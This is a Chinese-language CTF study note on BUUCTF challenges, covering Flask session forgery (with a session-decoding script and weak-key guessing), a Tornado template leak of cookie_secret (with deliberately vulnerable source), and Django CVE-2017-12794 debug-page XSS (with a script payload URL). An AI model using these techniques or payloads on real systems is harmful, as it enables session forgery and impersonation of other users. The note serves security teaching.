Flask
Flask session伪造
题目:BUUCTF
考点:flask中session是存储在客户端cookie中的,也就是存储在本地。flask仅仅对数据进行了签名。众所周知的是,签名的作用是防篡改,而无法防止被读取。而flask并没有提供加密操作,所以其session的全部内容都是可以在客户端读取的,这就可能造成一些安全问题
我们在登录成功后查看cookie,复制其中的session字符串值,在终端运行
session解密脚本
#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode
def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)
decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True
try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')
if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')
return session_json_serializer.loads(payload)
if __name__ == '__main__':
print(decryption(sys.argv[1].encode()))
解密之后我们把name的值改为其他用户的名,比如admin,再使用加密脚本加密,但是正常情况下我们还需要知道SECRET_KEY,如果我们有源码可以在源码中查找,否则就是弱密钥猜解,比如123456,admin这种
session加密脚本
最后使用加密脚本对内容加密即可即可伪造他人身份。
Tornado
格式化输出窃取cookie_secret
题目:BUUCTF-这题我b站有讲过https://www.bilibili.com/video/BV1PF411n7kM?p=21
考点:当我们通过render渲染函数能够对传入的格式化字符输出,那么就可以窃取环境变量,其中泄露了cookie_secret,该cookie_secret是用来对登陆成功的用户的cookie值进行加密,如果我们得到cookie_secret,那么可以实现cookie欺骗,伪造他人身份身份
源码如下
import tornado.web
import tornado.ioloop
from tornado.template import Template
# windows 系统下 tornado 使用SelectorEventLoop
import platform
import asyncio
print(platform.system())
asyncio.set_event_loop_policy(asyncio.WindowsSelectorEventLoopPolicy())
class IndexHandler(tornado.web.RequestHandler):
def get(self,*args,**kwargs):
msg = self.get_argument('msg')
with open("error.html", 'w') as f:
f.write("""<html>
<head>
<style>body{font-size: 30px;}</style>
</head>
<body>%s</body>
</html>\n""" % msg)
f.flush()
self.render("error.html")
# self.write(self.application.settings)
class SetCookieHandler(tornado.web.RequestHandler):
def get(self, *args, **kwargs):
self.set_secure_cookie('admin','123456',expires_days=3)
settings = {
'cookie_secret':'batmanfuture'
}
app = tornado.web.Application([
(r'/',IndexHandler),
(r'/',SetCookieHandler)
],**settings)
app.listen(8888)
tornado.ioloop.IOLoop.instance().start()
这里msg=时,就会显示环境变量,其中就包括cookie_secret。
Django
Django debug page XSS漏洞
CVE-2017-12794
题目:BUUCTF
考点:django框架利用创建好的用户名未对XSS代码就行过滤导致攻击
漏洞复现
访问http://node3.buuoj.cn:28199/create_user/?username=<script>alert(1)</script>
创建用户,测试弹窗
这里提示以已经创建好了用户,即username =
触发漏洞,再次访问http://node3.buuoj.cn:28199/create_user/?username=<script>alert(1)</script>
因为已经创建过该用户,所以django不加以过滤的方式输出username导致XSS
POC编写
项目地址:https://hub.fastgit.xyz/thebatmanfuture/-Django-CVE-2017-1279475